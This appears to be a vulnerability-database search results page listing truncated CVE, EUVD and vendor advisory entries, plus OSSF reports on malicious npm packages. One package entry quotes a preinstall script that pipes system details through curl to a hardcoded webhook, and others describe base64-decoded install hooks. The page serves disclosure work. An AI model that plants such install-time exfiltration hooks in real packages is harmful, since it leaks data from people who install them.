Lucene search
+L

13251 matches found

EUVD
EUVD
added 2026/07/22 12:31 a.m.12 views

EUVD-2026-46966

Vulnerability in the PeopleSoft Enterprise CS Financial Aid product of Oracle PeopleSoft component: Institutional Methodology Need Analysis. The supported version that is affected is 9.2.38. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where...

6.1CVSS7.1AI score0.00136EPSS
SaveExploits0References2
EUVD
EUVD
added 2026/07/22 12:31 a.m.9 views

EUVD-2026-46965

Vulnerability in the PeopleSoft Enterprise CS Financial Aid product of Oracle PeopleSoft component: FM Need Analysis Calculator. The supported version that is affected is 9.2.38. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where PeopleSoft...

5.5CVSS7.1AI score0.00161EPSS
SaveExploits0References2
Packet Storm News
Packet Storm News
added 2026/07/22 12:0 a.m.20 views

An Automated Framework for Extracting Reachable Attack Chains from Cyber Threat Intelligence Reports

Cyber Threat Intelligence CTI reports richly describe real-world attack processes, but their unstructured narratives cannot be directly used for automated attack-path reasoning. Existing CTI extraction methods focus on indicators, entities, or TTP labels without modeling the execution conditions...

5.8AI score
SaveExploits0
NVD
NVD
added 2026/07/21 10:18 p.m.12 views

CVE-2026-60986

Vulnerability in the Oracle Project Portfolio Analysis product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle...

8.1CVSS0.00337EPSS
SaveExploits0References1
NVD
NVD
added 2026/07/21 10:18 p.m.8 views

CVE-2026-60984

Vulnerability in the Oracle Project Portfolio Analysis product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle...

7.1CVSS0.00261EPSS
SaveExploits0References1
NVD
NVD
added 2026/07/21 10:18 p.m.9 views

CVE-2026-60988

Vulnerability in the Oracle Project Portfolio Analysis product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle...

7.5CVSS0.00334EPSS
SaveExploits0References1
NVD
NVD
added 2026/07/21 10:18 p.m.8 views

CVE-2026-60987

Vulnerability in the Oracle Project Portfolio Analysis product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle...

7.1CVSS0.00202EPSS
SaveExploits0References1
NVD
NVD
added 2026/07/21 10:18 p.m.6 views

CVE-2026-60608

Vulnerability in the PeopleSoft Enterprise CS Financial Aid product of Oracle PeopleSoft component: Institutional Methodology Need Analysis. The supported version that is affected is 9.2.38. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where...

6.1CVSS0.00136EPSS
SaveExploits0References1
NVD
NVD
added 2026/07/21 10:18 p.m.9 views

CVE-2026-60607

Vulnerability in the PeopleSoft Enterprise CS Financial Aid product of Oracle PeopleSoft component: FM Need Analysis Calculator. The supported version that is affected is 9.2.38. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where PeopleSoft...

5.5CVSS0.00161EPSS
SaveExploits0References1
RedHat Linux
RedHat Linux
added 2026/07/21 10:10 p.m.11 views

Critical: Red Hat Security Advisory: Migration Toolkit for Applications

A new version of Migration Toolkit for Applications MTA is now available. Migration Toolkit for Applications MTA accelerates large-scale application modernization efforts across hybrid cloud environments on Red Hat OpenShift. This solution provides insight throughout the adoption process, at both...

9.6CVSS6.4AI score0.01839EPSS
SaveExploits8References33
EUVD
EUVD
added 2026/07/21 9:32 p.m.11 views

EUVD-2026-46388

Unvalidated input in asset filter parameters allows shell metacharacters to escape command argument handling, resulting in remote code execution as a low-privileged OS user via the Analysis REST endpoint...

9.9CVSS6.3AI score0.00542EPSS
SaveExploits0References2
NVD
NVD
added 2026/07/21 8:17 p.m.8 views

CVE-2026-64878

Unvalidated input in asset filter parameters allows shell metacharacters to escape command argument handling, resulting in remote code execution as a low-privileged OS user via the Analysis REST endpoint...

9.9CVSS0.00542EPSS
SaveExploits0References1
Cvelist
Cvelist
added 2026/07/21 7:41 p.m.34 views

CVE-2026-64878 Command Injection

Unvalidated input in asset filter parameters allows shell metacharacters to escape command argument handling, resulting in remote code execution as a low-privileged OS user via the Analysis REST endpoint...

9.9CVSS0.00542EPSS
SaveExploits0References1
CVE
CVE
added 2026/07/21 7:41 p.m.26 views

CVE-2026-64878

CVE-2026-64878 is a command-injection vulnerability described as unvalidated input in asset filter parameters that allows shell metacharacters to escape command argument handling, enabling remote code execution on a low-privileged OS user via the Analysis REST endpoint. The connected Tenable advi...

9.9CVSS6.3AI score0.00542EPSS
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/07/21 2:1 p.m.22 views

Malicious code in react-tabulix-virtual (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f90c8fc6aca32e28a4faed28ca3f7879cb22e84139b7b09a2a83c5df74259a14 package.json declares scripts.preinstall as node./dist/index.d.js, which runs automatically on npm install. dist/index.d.js contains a base64-encoded...

5.5AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/07/21 12:1 p.m.22 views

Malicious code in react-tabulix-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4338419bb73e69db7de001f3d27b86c8890a0ba3ace3bfa60e09552d1be3ad9c [email protected] declares a preinstall lifecycle hook that runs dist/index.d.js. That file base64-decodes an embedded blob and passes the...

5.8AI score
SaveExploits0References5
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/07/21 5:15 a.m.21 views

Malicious code in commonweb-rewards (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 741bb412733dcbcc7aac51796dd6e3b0a6b86439c4886aad1b0418959051d0b3 commonweb-rewards ships an empty index.js and declares a single dependency ltidisafe whose version spec is a direct URL to a tarball on a non-publish...

5.7AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/07/21 5:0 a.m.21 views

Malicious code in signzy-field-level-encrypter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451 package.json declares a preinstall lifecycle script that runs echo "$whoami: $uname -a" | curl -X POST against a hardcoded Pipedream webhook at...

5.5AI score
SaveExploits0References2
Positive Technologies
Positive Technologies
added 2026/07/21 12:0 a.m.16 views

PT-2026-62905

Name of the Vulnerable Software and Affected Versions Oracle Project Portfolio Analysis versions 12.2.3 through 12.2.15 Description An issue exists in the Internal Operations component of the Oracle Project Portfolio Analysis product within Oracle E-Business Suite. A low privileged attacker with...

7.1CVSS7.2AI score0.00202EPSS
SaveExploits0References3
Positive Technologies
Positive Technologies
added 2026/07/21 12:0 a.m.13 views

PT-2026-62102

Name of the Vulnerable Software and Affected Versions The product name cannot be determined affected versions not specified Description Unvalidated input in asset filter parameters allows shell metacharacters to escape command argument handling. This leads to remote code execution as a...

9.9CVSS6.5AI score0.00542EPSS
SaveExploits0References3
Rows per page
Query Builder